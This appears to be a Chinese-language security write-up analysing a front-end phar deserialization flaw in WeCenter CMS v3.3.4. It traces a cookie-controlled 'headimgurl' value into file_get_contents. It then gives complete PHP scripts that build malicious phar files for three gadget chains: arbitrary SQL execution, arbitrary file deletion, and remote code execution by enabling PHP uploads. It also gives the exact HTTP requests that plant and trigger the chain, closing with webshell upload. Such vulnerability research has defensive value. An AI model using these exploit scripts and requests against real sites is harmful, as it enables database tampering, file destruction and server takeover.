在 WeCenter 中,存在多个可利用的反序列化 POP 链,如果我们想利用这些 POP 链,就必须找到可控的反序列化点。反序列化点可以从两个方向进行寻找,一种是直接搜可控的 unserialize(可控) ,另一种是完全可控的文件名(利用 phar:// 协议触发反序列化)。刚好 WeCenter 中就存在可控的文件名,下面我们一起来看下具体细节。CMS下载地址:http://www.wecenter.com/downloads/
漏洞点
在 account_class:associate_remote_avatar() 方法中,我们发现 file_get_contents 函数中的 $headimgurl 参数为调用时传入的参数。我们搜索一下何处调用了 associate_remote_avatar 方法,以及看看 $headimgurl 值是否可控。
通过搜索,我们发现 ajax:synch_img_action() 中调用了 associate_remote_avatar 方法,而 $headimgurl 值来源于 $wxuser[‘headimgurl’] 。再往上回溯,会发现 $wxuser 为数据库 users_weixin 表中的相关数据。那么,我们是否有办法控制这个表的内容呢?我们全局搜索 users_weixin 关键字,看下有没有 INSERT、UPDATE 操作。
在 models/openid/weixin/weixin.php 文件中,我们发现了一处对 users_weixin 表的 INSERT 操作。其中, headimgurl 对应 $access_user[‘headimgurl’] 。而 $access_user 为函数被调用时传入的参数,所以我们继续找找哪里调用了 bind_account 方法。
在 weixin:binding_action() 方法中,我们发现了 bind_account() 的调用。上面的 $access_user 为这里传入的 $WXConnect[‘access_user’] ,而 $WXConnect 的值来自可控的 $_COOKIE 。
至此,整个攻击的过程就很清晰了。由于传入 file_get_contents 函数的文件名完全可控(来自 $_COOKIE ),我们就可以利用 phar:// 协议触发反序列化,结合找到的 POP 链完成攻击。下面,我们来看看都有哪些可利用的 POP 链。
POP链
任意SQL语句执行
system/aws_model.inc.php:__destruct() 方法中存在任意 SQL 语句执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class AWS_MODEL { private $_shutdown_query = array();
public function __construct($_shutdown_query) { $this->_shutdown_query = $_shutdown_query; } }
$sql = array('select updatexml(1,concat(0x3a,md5(233),0x3a),1)'); $evilobj = new AWS_MODEL($sql);
$filename = 'poc.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($evilobj); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
|
任意文件删除
system/Zend/Http/Response/Stream.php:__destruct() 方法中存在任意文件删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class Zend_Http_Response_Stream { protected $_cleanup; protected $stream_name;
public function __construct($stream_name) { $this->_cleanup = true; $this->stream_name = $stream_name; } }
$stream_name = '/var/www/html/wecenter334/shell.php'; $evilobj = new Zend_Http_Response_Stream($stream_name);
$filename = 'poc.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($evilobj); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering();
?>
|
RCE
WeCenter 后台的 允许的附件文件类型 处,设置了用户可上传的文件类型后缀。而这个配置是写在数据库中的,我们可以利用前面的任意 SQL 语句执行的 POP 链,往字段中添加 php 文件后缀。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class AWS_MODEL { private $_shutdown_query = array();
public function __construct($_shutdown_query) { $this->_shutdown_query = $_shutdown_query; } }
$sql = array('update aws_system_setting set value=\'s:45:"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";\' where varname=\'allowed_upload_types\''); $evilobj = new AWS_MODEL($sql);
$filename = 'poc.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($evilobj); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
|
利用
这里以 RCE 利用为例子。我们先用上面的 EXP 生成文件,然后找个可以上传文件的地方。这里要注意,一定不要选择在用户头像处上传(原因看文章第2张图片1889行代码)。这里我们通过发起问题的地方来上传文件。
通过如下数据包,将 headimgurl 插入数据库中( Cookie 前缀每个网站都不一样,修改成自己的即可)。
1 2 3 4
| GET /wecenter334/?/m/weixin/binding/ HTTP/1.1 Host: 0.0.0.0 Cookie: XDEBUG_SESSION=PHPSTORM; Hm_lvt_f8d0a8c400404989e195270b0bbf060a=1578564275,1578582675,1578897163; UM_distinctid=16fa7f15a43278-0cbd6002fe98e4-31730657-100200-16fa7f15a44385; xhj__Session=akl7d5skae6ebea69bp8r1b4f0; CNZZDATA1273638993=564846603-1579067041-%7C1579097763; xhj__user_login=NcIFvaZbkaxoQfofEGo%2FSOCyrXq5R0lZofmF9uqaJHO5tpVyag7GEP3fdh9hKvPUf8Xj4x3kkxgLXcf1L4wocSQu9BUquhozfdiEN2Hfg8vj73XVn1f09yLfbpfbVs7K; xhj__WXConnect={"access_token":{"openid":1},"access_user":{"headimgurl":"phar:\/\/uploads\/question\/20200116\/f39510a7e8e47e3e4dcabbadeedd12f7.gif","nickname":"mochazz"}} Connection: close
|
1 2 3 4 5
| $wx = array( 'access_token' => array('openid'=>1), 'access_user' => array('headimgurl'=>'phar:///uploads/question/20200116/f39510a7e8e47e3e4dcabbadeedd12f7.gif','nickname'=>'mochazz') ); echo json_encode($wx);
|
接着通过如下数据包触发 phar反序列化 执行 SQL 语句。
1 2 3 4
| GET /wecenter334/?/account/ajax/synch_img/ HTTP/1.1 Host: 0.0.0.0 Cookie: XDEBUG_SESSION=PHPSTORM; Hm_lvt_f8d0a8c400404989e195270b0bbf060a=1578564275,1578582675,1578897163; UM_distinctid=16fa7f15a43278-0cbd6002fe98e4-31730657-100200-16fa7f15a44385; xhj__Session=qb72k9k1sl53gqibbg53nf32o1; CNZZDATA1273638993=564846603-1579067041-%7C1579137884; xhj__user_login=N9hSYaQOjPMdtxOXo9jQuCVQSykmK88gl3DTI4AmL%2BnhLpgnHFGGSHkzxAPYaVMbXo%2FAndADc%2FaD0wytUEK71YrLmxWCuEZDCSwn9b0ApyOpcIKa6E4cOotHqZpZwVq%2B Connection: close
|
现在,我们就可以随意上传 webshell 了。
参考
某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE